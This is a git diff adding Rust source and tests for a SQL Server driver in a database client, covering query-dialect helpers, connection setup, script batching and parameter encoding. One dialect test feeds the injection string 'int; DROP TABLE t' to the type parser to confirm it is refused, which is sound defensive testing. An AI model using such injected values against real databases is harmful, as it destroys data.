timestamp()).sql, "@P1"); + } + + #[test] + fn a_type_only_the_server_names_is_cast_from_text() { + let placeholder = bound("hierarchyid", Value::Text("/1/2/".to_owned())); + + assert_eq!(placeholder.sql, "CAST(@P1 AS hierarchyid)"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::ServerText(SqlTypeExpr::from_catalog_text("hierarchyid"))) + ); + assert!( + dialect() + .placeholder(0, Value::Int(1), BindTarget::EngineRowId(EngineRowIdPart::SqliteRowid)) + .is_err() + ); + } + + #[test] + fn like_escape_covers_the_bracket() { + assert_eq!(dialect().escape_like_text("50%_[a]!"), "50!%!_![a]!!"); + assert_eq!( + dialect().like_predicate("[c]", "@P1", LikeForm::contains()), + "[c] LIKE @P1 ESCAPE '!'" + ); + assert_eq!( + dialect().like_predicate("[c]", "@P1", LikeForm::insensitive(true)), + "LOWER([c]) NOT LIKE LOWER(@P1)" + ); + } + + #[test] + fn row_value_after_is_written_out() { + let keys = ["[a]".to_owned(), "[b]".to_owned()]; + let markers = ["@P1".to_owned(), "@P2".to_owned()]; + + assert_eq!( + dialect().row_value_after(&keys, &markers, KeysetDirection::After), + "[a] > @P1 OR ([a] = @P1 AND [b] > @P2)" + ); + assert_eq!( + dialect().row_value_after(&keys[..1], &markers[..1], KeysetDirection::Before), + "[a] < @P1" + ); + } + + #[test] + fn a_page_without_a_sort_still_orders_for_offset() { + assert_eq!( + dialect().row_window(None, 50, 100), + " ORDER BY (SELECT NULL) OFFSET 100 ROWS FETCH NEXT 50 ROWS ONLY" + ); + assert_eq!( + dialect().row_window(Some("[id]"), 10, 0), + " ORDER BY [id] OFFSET 0 ROWS FETCH NEXT 10 ROWS ONLY" + ); + } + + #[test] + fn literals_use_national_text_hex_bytes_and_iso_dates() { + let text = column("nvarchar(max)").column_type; + let stamp = column("datetime").column_type; + let offset = column("datetimeoffset(7)").column_type; + let dialect = dialect(); + + assert_eq!( + dialect.literal(&Value::Text("it's".to_owned()), &text).unwrap(), + "N'it''s'" + ); + assert_eq!( + dialect.literal(&Value::Bytes(vec![0xab, 0x01]), &text).unwrap(), + "0xab01" + ); + assert_eq!(dialect.literal(&Value::Bool(true), &text).unwrap(), "1"); + let at = NaiveDate::from_ymd_opt(2024, 1, 2) + .and_then(|date| date.and_hms_nano_opt(3, 4, 5, 123_456_700)) + .unwrap(); + assert_eq!( + dialect + .literal(&Value::Timestamp(Temporal::Finite(at)), &stamp) + .unwrap(), + "'2024-01-02T03:04:05.123'" + ); + let local = DateTime::parse_from_rfc3339("2025-04-01T00:00:00.5+05:30").unwrap(); + assert_eq!( + dialect + .literal( + &Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(local))), + &offset + ) + .unwrap(), + "'2025-04-01T00:00:00.5+05:30'" + ); + assert!(dialect.literal(&Value::Float64(f64::NAN), &text).is_err()); + } + + #[test] + fn money_and_text_only_types_are_projected_through_a_cast() { + let dialect = dialect(); + let mut money = column("money"); + money.name = "price".to_owned(); + let small = column("smallmoney"); + let place = column("geography"); + + assert_eq!(dialect.projection(&money), "CAST([price] AS decimal(19,4)) AS [price]"); + assert_eq!(dialect.projection(&small), "CAST([c] AS decimal(10,4)) AS [c]"); + assert_eq!(dialect.projection(&place), "CAST([c] AS nvarchar(max)) AS [c]"); + assert_eq!(dialect.projection(&column("int")), "[c]"); + assert_eq!(dialect.count_all(), "COUNT_BIG(*)"); + } + + #[test] + fn the_key_probe_holds_its_locks() { + assert_eq!( + dialect().key_probe("[dbo].[t]", "[id] = @P1"), + "SELECT COUNT_BIG(*) FROM (SELECT TOP (2) 1 AS one FROM [dbo].[t] WITH (UPDLOCK, HOLDLOCK) WHERE [id] = @P1) AS probe" + ); + } + + #[test] + fn quote_ident_brackets_and_escapes() { + let dialect = dialect(); + + assert_eq!(dialect.quote_identifier("users"), "[users]"); + assert_eq!(dialect.quote_identifier("weird]name"), "[weird]]name]"); + assert_eq!( + dialect.qualify(&tablepro_core::meta::TableRef::new(Some("dbo".to_owned()), "users")), + "[dbo].[users]" + ); + } + + #[test] + fn a_typed_type_parses_into_its_kind() { + let parsed = dialect().parse_type("decimal(10, 2)").unwrap(); + + assert_eq!( + parsed.kind, + ColumnKind::Decimal { + precision: Some(10), + scale: Some(2) + } + ); + assert_eq!(parsed.name, "decimal(10, 2)"); + assert!(dialect().parse_type("int; DROP TABLE t").is_err()); + } + + #[test] + fn literal_round_trip_through_the_sql_server_parser() { + let dialect = dialect(); + let text = column("nvarchar(max)").column_type; + for value in [ + Value::Text("O'Brien [x] 50%".to_owned()), + Value::Int(-42), + Value::Decimal("123.4500".parse().unwrap()), + Value::Bytes(vec![0, 255]), + ] { + let literal = dialect.literal(&value, &text).unwrap(); + assert!(dialect.parse_expression(&literal).is_ok(), "{literal}"); + } + } +} diff --git a/linux/crates/drivers/mssql/src/driver.rs b/linux/crates/drivers/mssql/src/driver.rs new file mode 100644 index 0000000000..976efdcf64 --- /dev/null +++ b/linux/crates/drivers/mssql/src/driver.rs @@ -0,0 +1,112 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ + ConfigError, ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverCapabilities, DriverError, +}; +use tokio_util::sync::CancellationToken; + +use crate::capabilities::CAPABILITIES; +use crate::connection::MssqlConnection; +use crate::endpoint::MssqlEndpoint; +use crate::errors::map_pool_error; +use crate::mssql_manager::build_pool; +use crate::physical::server_info; + +/// SQL Server over tiberius, reached through whatever transport the +/// target carries. +#[derive(Debug, Default, Clone, Copy)] +pub struct MssqlDriver; + +#[async_trait] +impl DatabaseDriver for MssqlDriver { + fn id(&self) -> &'static str { + "mssql" + } + + fn display_name(&self) -> &'static str { + "SQL Server" + } + + fn capabilities(&self) -> &'static DriverCapabilities { + &CAPABILITIES + } + + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let ConnectTarget::Network(target) = &options.target else { + return Err(DriverError::Unsupported { + feature: "a database file", + }); + }; + if let Some(tls) = CAPABILITIES.tls.as_ref() { + target.tls.validate(tls, target.transport.kind().class())?; + } + if !CAPABILITIES.supports(target.credentials.mode()) { + return Err(DriverError::Config(ConfigError::AuthModeUnsupported)); + } + let endpoint = Arc::new(MssqlEndpoint::new( + target, + options.liveness, + &options.workspace_settings, + )?); + let pool = build_pool(endpoint.clone())?; + // The first pool member is opened here, so a connect fails with + // the reason the server gave and a cancel abandons the login. + let opening = async { + let mut first = pool.get().await.map_err(map_pool_error)?; + server_info(&mut first).await + }; + let opened = tokio::select! { + biased; + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = opening => opened, + }; + match opened { + Ok(server) => Ok(Arc::new(MssqlConnection::new( + endpoint, + pool, + options.workspace_settings, + server, + ))), + Err(error) => { + pool.close(); + Err(endpoint.explain(error).await) + } + } + } +} + +#[cfg(test)] +mod tests { + use std::path::PathBuf; + + use tablepro_core::{ConnectEnvironment, FileEndpoint, LivenessPolicy, WorkspaceSettings}; + + use super::*; + + #[test] + fn driver_names_itself() { + assert_eq!(MssqlDriver.id(), "mssql"); + assert_eq!(MssqlDriver.display_name(), "SQL Server"); + assert_eq!(MssqlDriver.capabilities().default_port(), Some(1433)); + } + + #[tokio::test] + async fn a_database_file_is_refused() { + let file = FileEndpoint::open_existing(PathBuf::from("/tmp/tablepro.db")).unwrap(); + let options = ConnectOptions { + target: ConnectTarget::File(file), + workspace_settings: WorkspaceSettings::workspace(false), + liveness: LivenessPolicy::DESKTOP, + environment: ConnectEnvironment::new("test"), + }; + + let outcome = MssqlDriver.connect(options, CancellationToken::new()).await; + + assert!(matches!(outcome, Err(DriverError::Unsupported { .. }))); + } +} diff --git a/linux/crates/drivers/mssql/src/editor_run.rs b/linux/crates/drivers/mssql/src/editor_run.rs new file mode 100644 index 0000000000..4223ab45a0 --- /dev/null +++ b/linux/crates/drivers/mssql/src/editor_run.rs @@ -0,0 +1,334 @@ +use std::sync::Arc; + +use tablepro_core::column::ResultColumn; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{BatchErrorPolicy, LexicalSettings, ScriptPlan}; +use tablepro_core::{ + DriverError, ResultEvent, ResultSink, RowLimit, RunEnd, SinkFlow, StopReason, StopRequest, TransactionState, + Truncation, Value, +}; +use tiberius::QueryItem; + +use crate::cancel::MssqlStop; +use crate::catalog::{Cells, result_column}; +use crate::decode::decode_row; +use crate::errors::{ends_connection, map_error}; +use crate::in_band_request::{Interrupt, StopPolicy, Watch, conclude, cut_short}; +use crate::physical::MssqlClient; +use crate::transport_io::ReadTally; + +/// Rows per `ResultEvent::Rows`. The sink is awaited per batch, so a slow +/// grid slows the read instead of growing a queue. +const BATCH_ROWS: usize = 256; + +/// How a run ended, and whether its connection can take the next one. +#[derive(Debug)] +pub(crate) struct ScriptOutcome { + pub(crate) end: RunEnd, + pub(crate) reusable: bool, +} + +/// One run of user SQL on an editor session's own connection. +pub(crate) struct EditorRun<'a> { + pub(crate) client: &'a mut MssqlClient, + pub(crate) tally: ReadTally, + pub(crate) request: StopRequest, + pub(crate) policy: StopPolicy, + pub(crate) limit: RowLimit, + pub(crate) sink: &'a mut dyn ResultSink, +} + +/// The result set an exchange is reading. +#[derive(Debug, Default)] +struct OpenSet { + retained: u64, + total: u64, + batch: Vec>, + limit_reported: bool, +} + +/// How one batch ended without failing. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum BatchEnd { + Done, + ConsumerGone, +} + +impl EditorRun<'_> { + /// Run the script one GO batch at a time, as sqlcmd and SSMS do. Each + /// batch goes as a SQL batch rather than through sp_executesql, so a + /// USE or a SET in it lasts for the rest of the session. + pub(crate) async fn script(&mut self, sql: &str) -> Result { + let plan = ScriptPlan::build(sql, SqlGrammar::MsSql, LexicalSettings::default_for(SqlGrammar::MsSql)); + let batches: Vec<(std::ops::Range, u32)> = match plan.diagnostics().is_empty() { + true => plan + .batches() + .iter() + .map(|batch| (batch.range.clone(), batch.repeat.get())) + .collect(), + // Text the splitter cannot finish goes to the server whole, + // so the error is the server's own. + false => vec![(0..sql.len(), 1)], + }; + let continue_after_error = plan.batch_error_policy() == BatchErrorPolicy::ContinueNextBatch; + let mut first_error = None; + for (range, repeat) in batches { + let text = sql.get(range).unwrap_or_default().trim(); + if text.is_empty() { + continue; + } + for _ in 0..repeat { + let watch = Watch::new(self.request.clone(), self.tally.clone(), self.policy); + let outcome = self.batch(&watch, text).await; + match outcome { + Ok(BatchEnd::Done) => {} + Ok(BatchEnd::ConsumerGone) => { + cut_short(self.client, &watch, false).await; + return Ok(ScriptOutcome { + end: RunEnd::Cancelled, + reusable: !watch.spoiled(), + }); + } + Err(Interrupt::Failed(error)) if ends_connection(&error) => return Err(error), + Err(Interrupt::Failed(error)) => { + first_error.get_or_insert(error); + if !continue_after_error { + break; + } + } + Err(Interrupt::Stopped(halt)) => { + let stopped = Err::<(), _>(Interrupt::Stopped(halt)); + let concluded = conclude(self.client, &watch, stopped, &MssqlStop::new(), false).await; + return Ok(ScriptOutcome { + end: end_after_stop(&self.request, concluded.result.err()), + reusable: concluded.reusable, + }); + } + } + } + if first_error.is_some() && !continue_after_error { + break; + } + } + Ok(ScriptOutcome { + end: first_error.map_or(RunEnd::Completed, RunEnd::Failed), + reusable: true, + }) + } + + async fn batch(&mut self, watch: &Watch, text: &str) -> Result { + let limit = self.limit.get(); + let sink = &mut *self.sink; + let mut stream = watch.start(self.client.simple_query(text)).await?; + let mut open: Option = None; + let mut produced = false; + loop { + let item = match watch.next(&mut stream).await { + Ok(Some(item)) => item, + Ok(None) => break, + // The server's error closes the response; what it sent + // before still gets its end. + Err(Interrupt::Failed(error)) if !ends_connection(&error) => { + if let Some(set) = open.take() { + finish(sink, set).await; + } + return Err(Interrupt::Failed(error)); + } + Err(other) => return Err(other), + }; + let flow = match item { + QueryItem::Metadata(metadata) => { + produced = true; + if let Some(set) = open.take() + && finish(sink, set).await == SinkFlow::ConsumerGone + { + return Ok(BatchEnd::ConsumerGone); + } + open = Some(OpenSet::default()); + let columns: Arc<[ResultColumn]> = metadata.columns().iter().map(result_column).collect(); + sink.accept(ResultEvent::ResultSetStarted { columns }).await + } + QueryItem::Row(row) => match open.as_mut() { + Some(set) => keep(sink, set, limit, || decode_row(&row)).await, + None => SinkFlow::Continue, + }, + }; + if flow == SinkFlow::ConsumerGone { + return Ok(BatchEnd::ConsumerGone); + } + } + if let Some(set) = open.take() + && finish(sink, set).await == SinkFlow::ConsumerGone + { + return Ok(BatchEnd::ConsumerGone); + } + // TDS reports a statement's row count in a DONE token, which + // tiberius's batch stream does not hand out. + if !produced + && sink.accept(ResultEvent::CommandCompleted { rows_affected: None }).await == SinkFlow::ConsumerGone + { + return Ok(BatchEnd::ConsumerGone); + } + Ok(BatchEnd::Done) + } +} + +/// Keep a row while under the limit; past it only count, without +/// converting the row, so the total can still be reported. +async fn keep( + sink: &mut dyn ResultSink, + set: &mut OpenSet, + limit: u64, + values: impl FnOnce() -> Vec, +) -> SinkFlow { + set.total += 1; + if set.retained < limit { + set.batch.push(values()); + set.retained += 1; + if set.batch.len() < BATCH_ROWS { + return SinkFlow::Continue; + } + return sink.accept(ResultEvent::Rows(std::mem::take(&mut set.batch))).await; + } + if set.limit_reported { + return SinkFlow::Continue; + } + set.limit_reported = true; + if !set.batch.is_empty() + && sink.accept(ResultEvent::Rows(std::mem::take(&mut set.batch))).await == SinkFlow::ConsumerGone + { + return SinkFlow::ConsumerGone; + } + sink.accept(ResultEvent::RowLimitReached { retained: set.retained }) + .await +} + +async fn finish(sink: &mut dyn ResultSink, mut set: OpenSet) -> SinkFlow { + if !set.batch.is_empty() + && sink.accept(ResultEvent::Rows(std::mem::take(&mut set.batch))).await == SinkFlow::ConsumerGone + { + return SinkFlow::ConsumerGone; + } + sink.accept(ResultEvent::ResultSetFinished { + retained: set.retained, + total_rows: Some(set.total), + truncation: match set.total > set.retained { + true => Truncation::ReadPastLimit, + false => Truncation::Complete, + }, + }) + .await +} + +/// How a stopped run ends: as its reason, and as a server-side stop +/// only where the server confirmed it. +fn end_after_stop(request: &StopRequest, error: Option) -> RunEnd { + let confirmed = matches!(error, Some(DriverError::Cancelled)); + match request.reason() { + Some(StopReason::DeadlineElapsed) => RunEnd::TimedOut { + server_cancelled: confirmed, + }, + Some(StopReason::Cancelled | StopReason::Shutdown) | None => RunEnd::Cancelled, + } +} + +/// Where the session's transaction stands, from the server itself. +pub(crate) async fn transaction_state(client: &mut MssqlClient) -> Result { + let stream = client + .simple_query("SELECT CAST(@@TRANCOUNT AS int), CAST(XACT_STATE() AS int)") + .await + .map_err(map_error)?; + let row = stream.into_row().await.map_err(map_error)?; + let Some(row) = row else { + return Ok(TransactionState::Unknown); + }; + let values = decode_row(&row); + let cells = Cells::new(&values, "@@TRANCOUNT"); + Ok(state_of(cells.int(0), cells.int(1))) +} + +/// XACT_STATE is -1 when an error has doomed the transaction: it can +/// only be rolled back. +fn state_of(transaction_count: Option, xact_state: Option) -> TransactionState { + match (transaction_count, xact_state) { + (Some(0), _) => TransactionState::Idle, + (Some(_), Some(-1)) => TransactionState::Failed, + (Some(_), Some(_)) => TransactionState::InTransaction, + _ => TransactionState::Unknown, + } +} + +#[cfg(test)] +mod tests { + use std::sync::Mutex; + + use async_trait::async_trait; + + use super::*; + + #[derive(Clone, Default)] + struct Recording(Arc>>); + + #[async_trait] + impl ResultSink for Recording { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + self.0.lock().unwrap().push(event); + SinkFlow::Continue + } + } + + #[test] + fn transaction_state_in_transaction_and_failed() { + assert_eq!(state_of(Some(0), Some(0)), TransactionState::Idle); + assert_eq!(state_of(Some(1), Some(1)), TransactionState::InTransaction); + assert_eq!(state_of(Some(2), Some(1)), TransactionState::InTransaction); + assert_eq!(state_of(Some(1), Some(-1)), TransactionState::Failed); + assert_eq!(state_of(None, None), TransactionState::Unknown); + } + + #[test] + fn a_stop_ends_the_run_as_its_reason() { + let deadline = StopRequest::new(); + deadline.request(StopReason::DeadlineElapsed); + let cancel = StopRequest::new(); + cancel.request(StopReason::Cancelled); + + assert_eq!( + end_after_stop(&deadline, Some(DriverError::Cancelled)), + RunEnd::TimedOut { server_cancelled: true } + ); + assert_eq!( + end_after_stop(&deadline, None), + RunEnd::TimedOut { + server_cancelled: false + } + ); + assert_eq!(end_after_stop(&cancel, None), RunEnd::Cancelled); + } + + #[tokio::test] + async fn rows_past_the_limit_are_counted_not_kept() { + let recording = Recording::default(); + let mut sink = recording.clone(); + let mut set = OpenSet::default(); + + for row in 0..5 { + keep(&mut sink, &mut set, 2, || vec![Value::Int(row)]).await; + } + finish(&mut sink, set).await; + + let events = recording.0.lock().unwrap().clone(); + assert_eq!( + events, + vec![ + ResultEvent::Rows(vec![vec![Value::Int(0)], vec![Value::Int(1)]]), + ResultEvent::RowLimitReached { retained: 2 }, + ResultEvent::ResultSetFinished { + retained: 2, + total_rows: Some(5), + truncation: Truncation::ReadPastLimit, + }, + ] + ); + } +} diff --git a/linux/crates/drivers/mssql/src/editor_session.rs b/linux/crates/drivers/mssql/src/editor_session.rs new file mode 100644 index 0000000000..0f02fc76c0 --- /dev/null +++ b/linux/crates/drivers/mssql/src/editor_session.rs @@ -0,0 +1,246 @@ +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState, LossPhase, + ResultSink, RunEnd, RunOptions, RunSummary, StopReason, StopRequest, TimeoutPhase, TransactionState, UserSql, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::editor_run::{EditorRun, ScriptOutcome, transaction_state}; +use crate::endpoint::MssqlEndpoint; +use crate::errors::ends_connection; +use crate::in_band_request::StopPolicy; +use crate::physical::MssqlLink; + +/// One editor tab's own connection to the server. +/// +/// Its transaction, temporary tables and session settings live on this +/// connection and nowhere else, so it is never pooled and never reopened +/// behind the user's back. A stop that cannot leave the connection in +/// step with the server ends the session instead. +pub(crate) struct MssqlEditorSession { + id: EditorSessionId, + link: tokio::sync::Mutex>, + running: AtomicBool, + lost: AtomicBool, + /// The running statement's stop, so closing the tab stops it. + current: Mutex>, + statement_timeout: Option, + policy: StopPolicy, + cancel_grace: Duration, + close_timeout: Duration, +} + +impl MssqlEditorSession { + pub(crate) async fn open( + endpoint: &MssqlEndpoint, + options: EditorSessionOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let link = endpoint.open_editor(&cancel).await?; + let liveness = endpoint.liveness(); + Ok(Arc::new(Self { + id: EditorSessionId::new(), + link: tokio::sync::Mutex::new(Some(link)), + running: AtomicBool::new(false), + lost: AtomicBool::new(false), + current: Mutex::new(None), + statement_timeout: options.statement_timeout, + policy: StopPolicy::within(liveness.cancel_grace), + cancel_grace: liveness.cancel_grace, + close_timeout: liveness.close_timeout, + })) + } + + fn set_current(&self, request: Option) { + *self.current.lock().unwrap_or_else(PoisonError::into_inner) = request; + } + + /// Run the script, stopping it on a cancel or at the deadline. A + /// stopped run sends its own attention and gets the cancel grace to + /// settle; past that its connection is given up. + async fn supervise( + &self, + link: &mut MssqlLink, + request: &StopRequest, + sql: &UserSql, + options: &RunOptions, + sink: &mut dyn ResultSink, + ) -> Option> { + let deadline = options + .deadline + .or(self.statement_timeout) + .map(|limit| Instant::now() + limit); + let tally = link.tally(); + let mut run = EditorRun { + client: &mut link.client, + tally, + request: request.clone(), + policy: self.policy, + limit: options.row_limit, + sink, + }; + let running = run.script(sql.as_str()); + tokio::pin!(running); + tokio::select! { + biased; + outcome = &mut running => return Some(outcome), + () = options.cancel.cancelled() => request.request(StopReason::Cancelled), + () = elapsed(deadline) => request.request(StopReason::DeadlineElapsed), + } + tokio::time::timeout(self.cancel_grace, running).await.ok() + } + + /// Where the transaction stands after a run, within the cancel grace, + /// and unknown rather than guessed when the answer does not come. + async fn state_after_run(&self, link: &mut MssqlLink) -> (TransactionState, bool) { + match tokio::time::timeout(self.cancel_grace, transaction_state(&mut link.client)).await { + Ok(Ok(state)) => (state, true), + Ok(Err(error)) => (TransactionState::Unknown, !ends_connection(&error)), + // The question is still on the wire, unanswered. + Err(_) => (TransactionState::Unknown, false), + } + } +} + +async fn elapsed(deadline: Option) { + match deadline { + Some(at) => tokio::time::sleep_until(at).await, + None => std::future::pending().await, + } +} + +#[async_trait] +impl EditorSession for MssqlEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + if self.lost.load(Ordering::SeqCst) { + EditorSessionState::Lost + } else if self.running.load(Ordering::SeqCst) { + EditorSessionState::Running + } else { + EditorSessionState::Ready + } + } + + async fn run( + &self, + sql: UserSql, + options: RunOptions, + mut sink: Box, + ) -> Result { + let Ok(mut held) = self.link.try_lock() else { + return Err(DriverError::EditorSessionBusy); + }; + let Some(link) = held.as_mut() else { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + }; + let started = Instant::now(); + self.running.store(true, Ordering::SeqCst); + let request = StopRequest::new(); + self.set_current(Some(request.clone())); + + let supervised = self.supervise(link, &request, &sql, &options, sink.as_mut()).await; + let (end, transaction_state, keep) = match supervised { + Some(Ok(outcome)) if outcome.reusable => { + let (state, keep) = self.state_after_run(link).await; + (Ok(outcome.end), state, keep) + } + // The run ended, but somewhere the connection cannot go on + // from: the session ends with it. + Some(Ok(outcome)) => (Ok(outcome.end), TransactionState::Unknown, false), + Some(Err(error)) => (Err(error), TransactionState::Unknown, false), + None => ( + Ok(match request.reason() { + Some(StopReason::DeadlineElapsed) => RunEnd::TimedOut { + server_cancelled: false, + }, + _ => RunEnd::Cancelled, + }), + TransactionState::Unknown, + false, + ), + }; + self.set_current(None); + self.running.store(false, Ordering::SeqCst); + if !keep { + self.lost.store(true, Ordering::SeqCst); + *held = None; + } + Ok(RunSummary { + elapsed: started.elapsed(), + end: end?, + transaction_state, + }) + } + + async fn transaction_state(&self, options: CallOptions) -> Result { + let mut held = tokio::select! { + biased; + () = options.cancel().cancelled() => return Err(DriverError::Cancelled), + () = elapsed(options.deadline()) => { + return Err(DriverError::Timeout { phase: TimeoutPhase::Statement, server_cancelled: false }); + } + held = self.link.lock() => held, + }; + let Some(link) = held.as_mut() else { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + }; + let asking = transaction_state(&mut link.client); + let answer = tokio::select! { + biased; + () = options.cancel().cancelled() => None, + () = elapsed(options.deadline()) => None, + answer = asking => Some(answer), + }; + match answer { + Some(Ok(state)) => Ok(state), + Some(Err(error)) => { + if ends_connection(&error) { + self.lost.store(true, Ordering::SeqCst); + *held = None; + } + Err(error) + } + // The question was cut off mid-request, so the connection is + // out of step and the session cannot go on. + None => { + self.lost.store(true, Ordering::SeqCst); + *held = None; + Err(match options.cancel().is_cancelled() { + true => DriverError::Cancelled, + false => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + }) + } + } + } + + async fn close(&self) { + self.lost.store(true, Ordering::SeqCst); + if let Some(request) = self.current.lock().unwrap_or_else(PoisonError::into_inner).take() { + request.request(StopReason::Shutdown); + } + // A run still stopping holds the connection; it closes when the + // session itself is dropped. + let Ok(mut held) = tokio::time::timeout(self.cancel_grace, self.link.lock()).await else { + return; + }; + if let Some(link) = held.take() { + let _ = tokio::time::timeout(self.close_timeout, link.client.close()).await; + } + } +} diff --git a/linux/crates/drivers/mssql/src/encode.rs b/linux/crates/drivers/mssql/src/encode.rs new file mode 100644 index 0000000000..fb1a798d4c --- /dev/null +++ b/linux/crates/drivers/mssql/src/encode.rs @@ -0,0 +1,300 @@ +use std::borrow::Cow; + +use chrono::{Datelike, NaiveDate}; +use tablepro_core::DriverError; +use tablepro_core::statement::{BoundParam, ParamType}; +use tablepro_core::value::{Temporal, Value}; +use tiberius::numeric::Numeric; +use tiberius::{ColumnData, IntoSql, ToSql}; + +/// The widest decimal SQL Server stores: 38 digits. +const MAX_NUMERIC_DIGITS: u32 = 38; + +/// The parameters of a statement as TDS values, typed by what the +/// server expects, so a NULL keeps its type: an untyped NULL arrives as +/// nvarchar, which SQL Server will not convert into varbinary. +pub(crate) fn encode_params(params: &[BoundParam]) -> Result>, DriverError> { + params.iter().map(encode).collect() +} + +/// The form `Client::query` and `Client::execute` take. +pub(crate) fn as_sql<'a>(params: &'a [ColumnData<'static>]) -> Vec<&'a dyn ToSql> { + params.iter().map(|param| param as &dyn ToSql).collect() +} + +pub(crate) fn encode(param: &BoundParam) -> Result, DriverError> { + let value = param.value(); + let param_type = param.param_type(); + if value.is_null() { + return Ok(typed_null(param_type)); + } + match param_type { + ParamType::Bool => match value { + Value::Bool(flag) => Ok(ColumnData::Bit(Some(*flag))), + other => Err(refused(param_type, other)), + }, + ParamType::Int16 => { + let integer = whole(param_type, value)?; + let narrow = i16::try_from(integer).map_err(|_| out_of_range(integer, "smallint"))?; + Ok(ColumnData::I16(Some(narrow))) + } + ParamType::Int32 => { + let integer = whole(param_type, value)?; + let narrow = i32::try_from(integer).map_err(|_| out_of_range(integer, "int"))?; + Ok(ColumnData::I32(Some(narrow))) + } + ParamType::Int64 => { + let integer = whole(param_type, value)?; + let narrow = i64::try_from(integer).map_err(|_| out_of_range(integer, "bigint"))?; + Ok(ColumnData::I64(Some(narrow))) + } + // SQL Server has no unsigned 64-bit type; decimal(20,0) holds + // every value of one. + ParamType::UInt64 | ParamType::Decimal => { + numeric(param_type, value).map(|numeric| ColumnData::Numeric(Some(numeric))) + } + ParamType::Float32 => match value { + Value::Float32(real) => Ok(ColumnData::F32(Some(*real))), + other => Err(refused(param_type, other)), + }, + ParamType::Float64 => match value { + Value::Float64(real) => Ok(ColumnData::F64(Some(*real))), + Value::Float32(real) => Ok(ColumnData::F64(Some(f64::from(*real)))), + other => Err(refused(param_type, other)), + }, + ParamType::Text | ParamType::FixedText | ParamType::ServerText(_) | ParamType::Json | ParamType::JsonBinary => { + match value { + Value::Text(text) => Ok(text_data(text.clone())), + Value::Json(json) => Ok(text_data(json.as_str().to_owned())), + Value::Other(other) => Ok(text_data(other.text.clone())), + other => Err(refused(param_type, other)), + } + } + ParamType::Bytes => match value { + Value::Bytes(bytes) => Ok(ColumnData::Binary(Some(Cow::Owned(bytes.clone())))), + other => Err(refused(param_type, other)), + }, + ParamType::Uuid => match value { + Value::Uuid(uuid) => Ok(ColumnData::Guid(Some(*uuid))), + other => Err(refused(param_type, other)), + }, + ParamType::Date => match value { + Value::Date(Temporal::Finite(date)) => in_range(*date).map(|date| date.into_sql()), + other => Err(refused(param_type, other)), + }, + ParamType::Time => match value { + Value::Time(time) => time + .to_time_of_day() + .map(IntoSql::into_sql) + .ok_or(DriverError::Unsupported { + feature: "a time outside one day", + }), + other => Err(refused(param_type, other)), + }, + ParamType::Timestamp => match value { + Value::Timestamp(Temporal::Finite(stamp)) => { + in_range(stamp.date())?; + Ok((*stamp).into_sql()) + } + other => Err(refused(param_type, other)), + }, + ParamType::TimestampTz => match value { + Value::TimestampTz(Temporal::Finite(stamp)) => { + in_range(stamp.utc().date())?; + Ok(stamp.to_datetime().into_sql()) + } + other => Err(refused(param_type, other)), + }, + ParamType::TimeTz => Err(DriverError::Unsupported { + feature: "a time with an offset", + }), + ParamType::Interval => Err(DriverError::Unsupported { feature: "an interval" }), + ParamType::Bits => Err(DriverError::Unsupported { + feature: "a bit string", + }), + } +} + +/// A NULL of the type the server expects in that place. +fn typed_null(param_type: &ParamType) -> ColumnData<'static> { + match param_type { + ParamType::Bool => ColumnData::Bit(None), + ParamType::Int16 => ColumnData::I16(None), + ParamType::Int32 => ColumnData::I32(None), + ParamType::Int64 => ColumnData::I64(None), + ParamType::UInt64 | ParamType::Decimal => ColumnData::Numeric(None), + ParamType::Float32 => ColumnData::F32(None), + ParamType::Float64 => ColumnData::F64(None), + ParamType::Bytes | ParamType::Bits => ColumnData::Binary(None), + ParamType::Uuid => ColumnData::Guid(None), + ParamType::Date => ColumnData::Date(None), + ParamType::Time => ColumnData::Time(None), + ParamType::Timestamp => ColumnData::DateTime2(None), + ParamType::TimestampTz => ColumnData::DateTimeOffset(None), + ParamType::Text + | ParamType::FixedText + | ParamType::ServerText(_) + | ParamType::Json + | ParamType::JsonBinary + | ParamType::TimeTz + | ParamType::Interval => ColumnData::String(None), + } +} + +fn text_data(text: String) -> ColumnData<'static> { + ColumnData::String(Some(Cow::Owned(text))) +} + +/// An integer value as the widest integer it can be, so each width can +/// say whether it fits. +fn whole(param_type: &ParamType, value: &Value) -> Result { + match value { + Value::Int(integer) => Ok(i128::from(*integer)), + Value::UInt(integer) => Ok(i128::from(*integer)), + other => Err(refused(param_type, other)), + } +} + +fn numeric(param_type: &ParamType, value: &Value) -> Result { + let (mantissa, scale) = match value { + Value::Int(integer) => (i128::from(*integer), 0), + Value::UInt(integer) => (i128::from(*integer), 0), + Value::WideInt(integer) => ( + integer.to_i128().ok_or(DriverError::Unsupported { + feature: "an integer wider than 38 digits", + })?, + 0, + ), + Value::Decimal(decimal) => decimal.to_scaled_i128().ok_or(DriverError::Unsupported { + feature: "a decimal NaN, infinity or wider than 38 digits", + })?, + other => return Err(refused(param_type, other)), + }; + let fits = 10u128 + .checked_pow(MAX_NUMERIC_DIGITS) + .is_some_and(|limit| mantissa.unsigned_abs() < limit); + let scale = u8::try_from(scale) + .ok() + .filter(|scale| *scale <= Numeric::MAX_NUMERIC_SCALE); + match (fits, scale) { + (true, Some(scale)) => Ok(Numeric::new_with_scale(mantissa, scale)), + _ => Err(DriverError::Unsupported { + feature: "a decimal wider than 38 digits", + }), + } +} + 